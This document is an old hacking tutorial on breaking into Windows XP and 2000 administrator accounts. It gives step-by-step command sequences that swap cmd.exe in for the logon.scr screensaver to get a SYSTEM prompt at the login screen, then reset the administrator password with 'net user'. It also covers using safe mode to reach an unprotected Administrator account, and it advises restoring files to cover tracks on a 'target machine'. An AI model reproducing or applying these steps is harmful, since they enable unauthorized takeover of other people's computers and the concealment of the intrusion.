

How to hack Windows XP Admin Passwords the easy way by Estyle, Jaobih and Azrael.

This hack will only work if the person that owns the machine has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the Administrator Account.

This has worked for me on both Windows XP Home and Pro.

Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work on the welcome screen of a normal booted machine)

```
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
```

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

```
"net user <admin account name here> password"
```

If the Administrator Account is called Frank and you want the password blah enter this

```
"net user Frank blah"
```

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of tempack back into the system32 dir to cover tracks

Any updates, Errors, Suggestions or just general comments mail them to either

Estyle89@hotmail.com

jaobh@hotmail.com

This is straight for a brain child. It makes so much sense that no one ever thought to do it. Enjoy. Also beware to change what you have done. Or any machine that you did the hack on will show what you did when the screen saver comes up. The only hard part is finding your way to C:\prompt or ms-dos. So begin.

If you can log in as an account , drop to DOS start -> run -> cmd, at the C: prompt type the following (assuming default install locations)

```
C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr
```

Now log off the machine, logon.scr is the screen saver that will kick in after 15 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to

```
C:\> net user administrator <newpassword>
```

and then log in with the new account.

Try this, might work, as long as he didn't change default permissions on C:\winnt and C:\winnt\system32 you should be golden.